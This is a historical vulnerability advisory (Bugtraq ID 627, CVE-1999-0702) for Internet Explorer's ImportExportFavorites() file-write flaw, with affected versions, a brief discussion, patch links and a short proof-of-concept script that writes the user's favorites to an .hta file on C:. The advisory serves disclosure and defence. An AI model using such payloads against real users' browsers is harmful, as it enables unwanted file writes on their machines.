Microsoft IE Import/Export Favorites Vulnerability

BID:627

Info

Microsoft IE Import/Export Favorites Vulnerability

Bugtraq ID: 627
Class: Unknown
CVE: CVE-1999-0702
Remote: Yes
Local: Yes
Published: Sep 10 1999 12:00AM
Updated: Jan 25 2014 06:03AM
Credit: Posted to Bugtraq Sep 10, 1999 by Georgi Guninski <[email protected]>. Further credit is given to Shane Hird of Australia and Richard Smith of Phar Lap Software
Vulnerable: Microsoft Internet Explorer 4.0.1 for Windows NT 4.0
- Microsoft Windows NT 4.0
 - Microsoft Windows NT 4.0
 Microsoft Internet Explorer 4.0.1 for Windows 98
- Microsoft Windows 98
- Microsoft Windows 98
Microsoft Internet Explorer 4.0.1
- Microsoft Windows 2000 Advanced Server SP2
 - Microsoft Windows 2000 Advanced Server SP2
 - Microsoft Windows 2000 Advanced Server SP2
 - Microsoft Windows 2000 Advanced Server SP1
 - Microsoft Windows 2000 Advanced Server SP1
 - Microsoft Windows 2000 Advanced Server SP1
 - Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
 - Microsoft Windows 2000 Datacenter Server SP2
 - Microsoft Windows 2000 Datacenter Server SP2
 - Microsoft Windows 2000 Datacenter Server SP1
 - Microsoft Windows 2000 Datacenter Server SP1
 - Microsoft Windows 2000 Datacenter Server SP1
 - Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
 - Microsoft Windows 2000 Professional SP2
 - Microsoft Windows 2000 Professional SP2
 - Microsoft Windows 2000 Professional SP1
 - Microsoft Windows 2000 Professional SP1
 - Microsoft Windows 2000 Professional SP1
 - Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
 - Microsoft Windows 2000 Server SP2
 - Microsoft Windows 2000 Server SP2
 - Microsoft Windows 2000 Server SP1
 - Microsoft Windows 2000 Server SP1
 - Microsoft Windows 2000 Server SP1
 - Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Terminal Services SP2
 - Microsoft Windows 2000 Terminal Services SP2
 - Microsoft Windows 2000 Terminal Services SP2
 - Microsoft Windows 2000 Terminal Services SP1
 - Microsoft Windows 2000 Terminal Services SP1
 - Microsoft Windows 2000 Terminal Services SP1
 - Microsoft Windows 2000 Terminal Services
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 2000 Terminal Services
- Microsoft Windows 95
- Microsoft Windows 95
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows ME
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
 - Microsoft Windows NT Enterprise Server 4.0 SP6a
 - Microsoft Windows NT Enterprise Server 4.0 SP6a
 - Microsoft Windows NT Enterprise Server 4.0 SP6
 - Microsoft Windows NT Enterprise Server 4.0 SP6
 - Microsoft Windows NT Enterprise Server 4.0 SP6
 - Microsoft Windows NT Enterprise Server 4.0 SP5
 - Microsoft Windows NT Enterprise Server 4.0 SP5
 - Microsoft Windows NT Enterprise Server 4.0 SP5
 - Microsoft Windows NT Enterprise Server 4.0 SP4
 - Microsoft Windows NT Enterprise Server 4.0 SP4
 - Microsoft Windows NT Enterprise Server 4.0 SP4
 - Microsoft Windows NT Enterprise Server 4.0 SP3
 - Microsoft Windows NT Enterprise Server 4.0 SP3
 - Microsoft Windows NT Enterprise Server 4.0 SP3
 - Microsoft Windows NT Enterprise Server 4.0 SP2
 - Microsoft Windows NT Enterprise Server 4.0 SP2
 - Microsoft Windows NT Enterprise Server 4.0 SP2
 - Microsoft Windows NT Enterprise Server 4.0 SP1
 - Microsoft Windows NT Enterprise Server 4.0 SP1
 - Microsoft Windows NT Enterprise Server 4.0 SP1
 - Microsoft Windows NT Enterprise Server 4.0
 - Microsoft Windows NT Enterprise Server 4.0
 - Microsoft Windows NT Enterprise Server 4.0
 - Microsoft Windows NT Server 4.0 SP6a
 - Microsoft Windows NT Server 4.0 SP6a
 - Microsoft Windows NT Server 4.0 SP6a
 - Microsoft Windows NT Server 4.0 SP6
 - Microsoft Windows NT Server 4.0 SP6
 - Microsoft Windows NT Server 4.0 SP6
 - Microsoft Windows NT Server 4.0 SP5
 - Microsoft Windows NT Server 4.0 SP5
 - Microsoft Windows NT Server 4.0 SP5
 - Microsoft Windows NT Server 4.0 SP4
 - Microsoft Windows NT Server 4.0 SP4
 - Microsoft Windows NT Server 4.0 SP4
 - Microsoft Windows NT Server 4.0 SP3
 - Microsoft Windows NT Server 4.0 SP3
 - Microsoft Windows NT Server 4.0 SP3
 - Microsoft Windows NT Server 4.0 SP2
 - Microsoft Windows NT Server 4.0 SP2
 - Microsoft Windows NT Server 4.0 SP2
 - Microsoft Windows NT Server 4.0 SP1
 - Microsoft Windows NT Server 4.0 SP1
 - Microsoft Windows NT Server 4.0 SP1
 - Microsoft Windows NT Server 4.0
 - Microsoft Windows NT Server 4.0
 - Microsoft Windows NT Server 4.0
 - Microsoft Windows NT Terminal Server 4.0 SP6a
 - Microsoft Windows NT Terminal Server 4.0 SP6a
 - Microsoft Windows NT Terminal Server 4.0 SP6
 - Microsoft Windows NT Terminal Server 4.0 SP6
 - Microsoft Windows NT Terminal Server 4.0 SP6
 - Microsoft Windows NT Terminal Server 4.0 SP5
 - Microsoft Windows NT Terminal Server 4.0 SP5
 - Microsoft Windows NT Terminal Server 4.0 SP5
 - Microsoft Windows NT Terminal Server 4.0 SP4
 - Microsoft Windows NT Terminal Server 4.0 SP4
 - Microsoft Windows NT Terminal Server 4.0 SP4
 - Microsoft Windows NT Terminal Server 4.0 SP3
 - Microsoft Windows NT Terminal Server 4.0 SP3
 - Microsoft Windows NT Terminal Server 4.0 SP3
 - Microsoft Windows NT Terminal Server 4.0 SP2
 - Microsoft Windows NT Terminal Server 4.0 SP2
 - Microsoft Windows NT Terminal Server 4.0 SP2
 - Microsoft Windows NT Terminal Server 4.0 SP1
 - Microsoft Windows NT Terminal Server 4.0 SP1
 - Microsoft Windows NT Terminal Server 4.0 SP1
 - Microsoft Windows NT Terminal Server 4.0 alpha
 - Microsoft Windows NT Terminal Server 4.0
 - Microsoft Windows NT Terminal Server 4.0
 - Microsoft Windows NT Terminal Server 4.0
 - Microsoft Windows NT Workstation 4.0 SP6a
 - Microsoft Windows NT Workstation 4.0 SP6a
 - Microsoft Windows NT Workstation 4.0 SP6a
 - Microsoft Windows NT Workstation 4.0 SP6
 - Microsoft Windows NT Workstation 4.0 SP6
 - Microsoft Windows NT Workstation 4.0 SP6
 - Microsoft Windows NT Workstation 4.0 SP5
 - Microsoft Windows NT Workstation 4.0 SP5
 - Microsoft Windows NT Workstation 4.0 SP5
 - Microsoft Windows NT Workstation 4.0 SP4
 - Microsoft Windows NT Workstation 4.0 SP4
 - Microsoft Windows NT Workstation 4.0 SP4
 - Microsoft Windows NT Workstation 4.0 SP3
 - Microsoft Windows NT Workstation 4.0 SP3
 - Microsoft Windows NT Workstation 4.0 SP3
 - Microsoft Windows NT Workstation 4.0 SP2
 - Microsoft Windows NT Workstation 4.0 SP2
 - Microsoft Windows NT Workstation 4.0 SP2
 - Microsoft Windows NT Workstation 4.0 SP1
 - Microsoft Windows NT Workstation 4.0 SP1
 - Microsoft Windows NT Workstation 4.0 SP1
 - Microsoft Windows NT Workstation 4.0
 - Microsoft Windows NT Workstation 4.0
 - Microsoft Windows NT Workstation 4.0
 Microsoft Internet Explorer 5.0 for Windows NT 4
+ Microsoft Windows NT 4.0
 + Microsoft Windows NT 4.0
 Microsoft Internet Explorer 5.0 for Windows 98
+ Microsoft Windows 98
+ Microsoft Windows 98
Microsoft Internet Explorer 5.0 for Windows 95
+ Microsoft Windows 95
+ Microsoft Windows 95
Microsoft Internet Explorer 5.0 for Windows 2000
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional
Not Vulnerable:

Discussion

Microsoft IE Import/Export Favorites Vulnerability

The ImportExportFavorites() method, used to import and export favorites to/from a file in IE5, can be made to write to any file on the system, in some cases from an email or remote webpage.

Exploit / POC

Microsoft IE Import/Export Favorites Vulnerability

This will create a file in the root of C: containing the user's favorites.
&lt;SCRIPT&gt;
window.external.ImportExportFavorites(0,"c:\\fav.hta");
&lt;/SCRIPT&gt;

Full demonstrations are available at:
http://www.nat.bg/~joro/imp.html

Solution / Fix

Microsoft IE Import/Export Favorites Vulnerability

Solution:
Microsoft has released patches for this vulnerability. From the Microsoft Advisory (MS99-037):

- Internet Explorer 4.01 for Intel:
ftp://ftp.microsoft.com/peropsys/ie/ie-public/fixes/usa/IE401/ImportExportFavorites-fix/x86/q241361.exe

- Internet Explorer 4.01 for Alpha:
ftp://ftp.microsoft.com/peropsys/ie/ie-public/fixes/usa/IE401/ImportExportFavorites-fix/Alpha/q241361.exe

- Internet Explorer 5 for Intel:
ftp://ftp.microsoft.com/peropsys/ie/ie-public/fixes/usa/IE50/ImportExportFavorites-fix/x86/q241361.exe

- Internet Explorer 5 for Alpha:
ftp://ftp.microsoft.com/peropsys/ie/ie-public/fixes/usa/IE50/ImportExportFavorites-fix/Alpha/q241361.exe

References

Microsoft IE Import/Export Favorites Vulnerability

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